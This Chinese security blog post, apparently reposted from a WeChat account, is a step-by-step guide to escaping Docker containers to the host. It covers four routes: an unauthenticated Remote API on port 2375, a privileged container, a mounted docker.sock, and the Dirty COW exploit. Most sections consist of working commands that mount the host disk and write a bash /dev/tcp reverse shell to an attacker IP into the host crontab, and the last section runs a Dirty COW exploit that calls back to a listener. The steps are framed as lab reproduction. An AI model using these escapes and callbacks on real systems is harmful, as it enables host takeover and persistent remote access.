【容器安全】常用Docker逃逸方法

admin 2023年7月13日15:15:07评论26 views字数 3407阅读11分21秒阅读模式

0、前言

在攻防中,拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。

安装docker服务:

curl -s https://get.docker.com/ | sh

【容器安全】常用Docker逃逸方法

启动docker服务:

systemctl start docker

【容器安全】常用Docker逃逸方法

1、如何判断当前机器是否为docker容器环境

1.1 检查根目录下是否存在.dockerenv文件

进入docker容器环境:

docker ps -a

docker exec -it [容器ID] bash

【容器安全】常用Docker逃逸方法

如果根目录下存在.dockerenv文件,说明是在docker容器中。

ls -al /

【容器安全】常用Docker逃逸方法

1.2 检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息,存在docker字段则是在docker容器中。

cat /proc/1/cgroup

【容器安全】常用Docker逃逸方法

2、Docker Remote API未授权访问逃逸

在使用docker swarm的时候,管理的docker节点上会开放一个TCP端口2375,默认绑定在0.0.0.0上,造成任何人都可以访问管理端的2375端口,任何人都可以远程控制管理的docker环境。

2.1 环境搭建

访问链接下载vulhub漏洞环境:

https://vulhub.org/#/docs/download-vulhub/

进入文件夹,docker启动环境:

cd vulhub-master/docker/unauthorized-rce

docker-compose build

docker-compose up -d

【容器安全】常用Docker逃逸方法

2.2 漏洞验证

访问version和info界面,如果存在返回信息,说明漏洞存在。

http://192.168.19.139:2375/version

【容器安全】常用Docker逃逸方法

http://192.168.19.139:2375/info

【容器安全】常用Docker逃逸方法

2.3 漏洞利用

在利用之前,需要在攻击机安装好docker,通过命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。

docker -H tcp://192.168.19.139:2375 ps

【容器安全】常用Docker逃逸方法

让目标主机拉取一个alpine镜像。

docker -H tcp://192.168.19.139:2375 pull alpine

【容器安全】常用Docker逃逸方法

查看目标主机拉取的镜像。

docker -H tcp://192.168.19.139:2375 images

【容器安全】常用Docker逃逸方法

以特权模式,启动进入alpine镜像容器,将宿主机所在磁盘挂载到/mnt目录。

docker -H tcp://192.168.19.139:2375 run -it --privileged alpine sh

fdisk -l

mount /dev/sda5 /mnt

【容器安全】常用Docker逃逸方法

创建回连shell脚本,将脚本文件写入宿主机计划任务。

echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh

echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab

【容器安全】常用Docker逃逸方法

回到攻击机开启nc监听6666端口,获取宿主机shell。

【容器安全】常用Docker逃逸方法

3、privileged特权模式启动容器逃逸

特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。

3.1 环境搭建

拉取一个ubuntu:16.04镜像,在启用时使用--privileged特权模式。

docker pull ubuntu:16.04

docker run -itd --privileged ubuntu:16.04 /bin/bash

【容器安全】常用Docker逃逸方法

进入ubuntu:16.04镜像容器环境。

docker ps -a

docker exec -it 2a55968d2968 /bin/bash

【容器安全】常用Docker逃逸方法

3.2 漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff字符。

cat /proc/self/status |grep Cap

【容器安全】常用Docker逃逸方法

3.3 漏洞利用

在docker容器中查看系统磁盘分区情况,将宿主机所在磁盘挂载到/mnt目录中。

fdisk -l

mount /dev/sda5 /mnt

【容器安全】常用Docker逃逸方法

创建回连shell脚本,将脚本文件写入宿主机计划任务。

echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh

echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab

【容器安全】常用Docker逃逸方法

回到攻击机开启nc监听6666端口,获取宿主机shell。

【容器安全】常用Docker逃逸方法

4、挂载Docker Socket逃逸

在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker:

unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

4.1 环境搭建

拉取一个ubuntu:16.04镜像,在启用时使用-v参数将docker.sock挂载到容器。

docker pull ubuntu:16.04

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

【容器安全】常用Docker逃逸方法

4.2 漏洞验证

如果存在docker.sock文件,说明漏洞可能存在。

find / -name docker.sock

【容器安全】常用Docker逃逸方法

4.3 漏洞利用

在docker容器中安装docker服务。

apt-get update

apt-get install docker.io

【容器安全】常用Docker逃逸方法

在docker容器中,使用命令查看宿主机拉取的镜像。

docker -H unix://var/run/docker.sock images

【容器安全】常用Docker逃逸方法

在docker容器中,使用docker命令再运行一个docker容器,将宿主机的根目录挂载到ubuntu:16.04容器的/mnt目录中。

docker -H unix://var/run/docker.sock run -v /:/mnt -it ubuntu:16.04 /bin/bash

【容器安全】常用Docker逃逸方法

创建回连shell脚本,将脚本文件写入宿主机计划任务。

echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh

echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab

【容器安全】常用Docker逃逸方法

回到攻击机开启nc监听6666端口,获取宿主机shell。

【容器安全】常用Docker逃逸方法

5、脏牛漏洞实现Docker逃逸

当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell。

5.1 环境搭建

使用存在脏牛提权漏洞的宿主机,如ubuntu14.04进行复现,执行下面命令下载启动docker漏洞容器。

git clone https://github.com/gebl/dirtycow-docker-vdso.git

cd dirtycow-docker-vdso/

sudo docker-compose run dirtycow /bin/bash

【容器安全】常用Docker逃逸方法

进入脏牛提权docker镜像容器环境。

docker ps -a

docker exec -it e9e064cf1caf /bin/bash

【容器安全】常用Docker逃逸方法

5.2 漏洞利用

在攻击机中开启监听,git下载dirtycow-vdso进入目录,编译执行回连操作。

git clone https://github.com/scumjr/dirtycow-vdso.git

cd /dirtycow-vdso

make

./0xdeadbeef 192.168.59.145:6666

【容器安全】常用Docker逃逸方法

回到攻击机看到nc监听的6666端口,获取宿主机shell。

【容器安全】常用Docker逃逸方法


原文始发于微信公众号(ZackSecurity):【容器安全】常用Docker逃逸方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月13日15:15:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【容器安全】常用Docker逃逸方法http://cn-sec.com/archives/1871603.html

发表评论

匿名网友 填写信息